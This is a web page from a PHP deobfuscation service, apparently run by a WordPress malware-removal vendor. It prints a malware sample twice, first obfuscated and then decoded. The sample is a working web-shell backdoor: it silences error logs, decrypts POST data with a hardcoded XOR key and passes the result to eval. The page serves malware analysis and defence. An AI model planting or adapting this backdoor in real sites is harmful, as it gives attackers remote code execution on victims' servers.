PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}['d318a0a98']="\x39\x44\x2b\x67\x4e\x7c\x52\x6b\x42\x55\x7b\x35\x41\x3f\x6f\xa\x34\x5d\x20\x30\x71\x23\x59\x58\x54\x70\x43\x69\x45\x7d\x27\x4b\x40\x6a\x56\x25\x74\x73\x63\x29\x68\x77\x3e\x37\x3c\x60\x48\x9\x76\x3d\x5a\x57\x36\x28\x5e\x3a\x38\x53\x5f\x75\x47\x2f\x61\x50\x6c\x32\x5c\xd\x62\x49\x24\x78\x6e\x46\x2d\x21\x72\x2e\x6d\x7a\x4f\x5b\x66\x79\x31\x2c\x7e\x51\x4d\x26\x65\x4a\x4c\x64\x2a\x22\x3b\x33";$GLOBALS[$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][11]]=$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][76];$GLOBALS[$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][82].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][62]]=$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][93];$GLOBALS[$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][16].$GLOBALS['d318a0a98'][97].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][84]]=$GLOBALS['d318a0a98'][37].$GLOBALS['d318a0a98'][36].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][64].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][72];$GLOBALS[$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][0]]=$GLOBALS['d318a0a98'][27].$GLOBALS['d318a0a98'][72].$GLOBALS['d318a0a98'][27].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][37].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][36];$GLOBALS[$GLOBALS['d318a0a98'][72].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][0]]=$GLOBALS['d318a0a98'][33].$GLOBALS['d318a0a98'][37].$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][72].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][90];$GLOBALS[$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][16].$GLOBALS['d318a0a98'][43].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][16]]=$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][37].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][16].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][90];$GLOBALS[$GLOBALS['d318a0a98'][48].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][82].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][11]]=$GLOBALS['d318a0a98'][37].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][36].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][36].$GLOBALS['d318a0a98'][27].$GLOBALS['d318a0a98'][78].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][64].$GLOBALS['d318a0a98'][27].$GLOBALS['d318a0a98'][78].$GLOBALS['d318a0a98'][27].$GLOBALS['d318a0a98'][36];$GLOBALS[$GLOBALS['d318a0a98'][20].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][0].$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][56]]=$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][16].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][16];$GLOBALS[$GLOBALS['d318a0a98'][79].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][97].$GLOBALS['d318a0a98'][11].$GLOBALS['d318a0a98'][68]]=$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][11].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][68];$GLOBALS[$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][43].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][68]]=$_POST;@$GLOBALS[$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][0]]($GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][64].$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][3],NULL);@$GLOBALS[$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][0]]($GLOBALS['d318a0a98'][64].$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][3].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][37],0);@$GLOBALS[$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][0]]($GLOBALS['d318a0a98'][78].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][71].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][71].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][59].$GLOBALS['d318a0a98'][36].$GLOBALS['d318a0a98'][27].$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][72].$GLOBALS['d318a0a98'][58].$GLOBALS['d318a0a98'][36].$GLOBALS['d318a0a98'][27].$GLOBALS['d318a0a98'][78].$GLOBALS['d318a0a98'][90],0);@$GLOBALS[$GLOBALS['d318a0a98'][48].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][82].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][11]](0);$k6de1cb3=NULL;$v24368366=NULL;$GLOBALS[$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][56]]=$GLOBALS['d318a0a98'][11].$GLOBALS['d318a0a98'][25].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][72].$GLOBALS['d318a0a98'][74].$GLOBALS['d318a0a98'][36].$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][97].$GLOBALS['d318a0a98'][74].$GLOBALS['d318a0a98'][11].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][64].$GLOBALS['d318a0a98'][64].$GLOBALS['d318a0a98'][83].$GLOBALS['d318a0a98'][74].$GLOBALS['d318a0a98'][11].$GLOBALS['d318a0a98'][36].$GLOBALS['d318a0a98'][76].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][72].$GLOBALS['d318a0a98'][3].$GLOBALS['d318a0a98'][11];global$cc688;function ae858b($k6de1cb3,$rbf8cd4){$qc11="";for($q58dcf=0;$q58dcf<$GLOBALS[$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][16].$GLOBALS['d318a0a98'][97].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][84]]($k6de1cb3);){for($ibc3=0;$ibc3<$GLOBALS[$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][16].$GLOBALS['d318a0a98'][97].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][84]]($rbf8cd4)&&$q58dcf<$GLOBALS[$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][16].$GLOBALS['d318a0a98'][97].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][84]]($k6de1cb3);$ibc3++,$q58dcf++){$qc11.=$GLOBALS[$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][11]]($GLOBALS[$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][82].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][62]]($k6de1cb3[$q58dcf])^$GLOBALS[$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][82].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][62]]($rbf8cd4[$ibc3]));}}return$qc11;}function c484($k6de1cb3,$rbf8cd4){global$cc688;return$GLOBALS[$GLOBALS['d318a0a98'][79].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][97].$GLOBALS['d318a0a98'][11].$GLOBALS['d318a0a98'][68]]($GLOBALS[$GLOBALS['d318a0a98'][79].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][65].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][97].$GLOBALS['d318a0a98'][11].$GLOBALS['d318a0a98'][68]]($k6de1cb3,$cc688),$rbf8cd4);}if(!$k6de1cb3){foreach($GLOBALS[$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][43].$GLOBALS['d318a0a98'][93].$GLOBALS['d318a0a98'][68]]as$rbf8cd4=>$n18fd12d){$k6de1cb3=$n18fd12d;$v24368366=$rbf8cd4;}}$k6de1cb3=@$GLOBALS[$GLOBALS['d318a0a98'][72].$GLOBALS['d318a0a98'][56].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][0]]($GLOBALS[$GLOBALS['d318a0a98'][20].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][19].$GLOBALS['d318a0a98'][0].$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][56]]($GLOBALS[$GLOBALS['d318a0a98'][14].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][16].$GLOBALS['d318a0a98'][43].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][52].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][16]]($k6de1cb3),$v24368366),true);if(isset($k6de1cb3[$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][7]])&&$cc688==$k6de1cb3[$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][7]]){if($k6de1cb3[$GLOBALS['d318a0a98'][62]]==$GLOBALS['d318a0a98'][90]){eval($k6de1cb3[$GLOBALS['d318a0a98'][93]]);}exit();}?>

Decoded(de-Obfuscated) php code

<?php

$GLOBALS['d318a0a98'] = "9D+gN|RkBU{5A?o\n4] 0q#YXTpCiE}'K@jV%tsc)hw>7<`H\tv=ZW6(^:8S_uG/aPl2\\\rbI\$xnF-!r.mzO[fy1,~QM&eJLd*\";3";
$GLOBALS["baa15"] = "chr";
$GLOBALS["hefaea"] = "ord";
$GLOBALS["b43ce01"] = "strlen";
$GLOBALS["o2dac69"] = "ini_set";
$GLOBALS["n800cc9"] = "json_decode";
$GLOBALS["o1471614"] = "base64_decode";
$GLOBALS["vd6dfc005"] = "set_time_limit";
$GLOBALS["q109b8"] = "c484";
$GLOBALS["z2a2c835b"] = "ae858b";
$GLOBALS["ca7db"] = $_POST;
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
$k6de1cb3 = NULL;
$v24368366 = NULL;
$GLOBALS["cc688"] = "5p1n-th3-51lly-5tr1ng5";
global $cc688;
function ae858b($k6de1cb3, $rbf8cd4)
{
    $qc11 = "";
    for ($q58dcf = 0; $q58dcf < strlen($k6de1cb3);) {
        for ($ibc3 = 0; $ibc3 < strlen($rbf8cd4) && $q58dcf < strlen($k6de1cb3); $ibc3++, $q58dcf++) {
            $qc11 .= chr(ord($k6de1cb3[$q58dcf]) ^ ord($rbf8cd4[$ibc3]));
        }
    }
    return $qc11;
}
function c484($k6de1cb3, $rbf8cd4)
{
    global $cc688;
    return ae858b(ae858b($k6de1cb3, $cc688), $rbf8cd4);
}
if (!$k6de1cb3) {
    foreach ($GLOBALS["ca7db"] as $rbf8cd4 => $n18fd12d) {
        $k6de1cb3 = $n18fd12d;
        $v24368366 = $rbf8cd4;
    }
}
$k6de1cb3 = @$GLOBALS[$GLOBALS['d318a0a98'][72] . $GLOBALS['d318a0a98'][56] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][38] . $GLOBALS['d318a0a98'][38] . $GLOBALS['d318a0a98'][0]]($GLOBALS[$GLOBALS['d318a0a98'][20] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][0] . $GLOBALS['d318a0a98'][68] . $GLOBALS['d318a0a98'][56]]($GLOBALS[$GLOBALS['d318a0a98'][14] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][16] . $GLOBALS['d318a0a98'][43] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][52] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][16]]($k6de1cb3), $v24368366), true);
if (isset($k6de1cb3[$GLOBALS['d318a0a98'][62] . $GLOBALS['d318a0a98'][7]]) && $cc688 == $k6de1cb3[$GLOBALS['d318a0a98'][62] . $GLOBALS['d318a0a98'][7]]) {
    if ($k6de1cb3[$GLOBALS['d318a0a98'][62]] == $GLOBALS['d318a0a98'][90]) {
        eval($k6de1cb3[$GLOBALS['d318a0a98'][93]]);
    }
    exit;
}

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.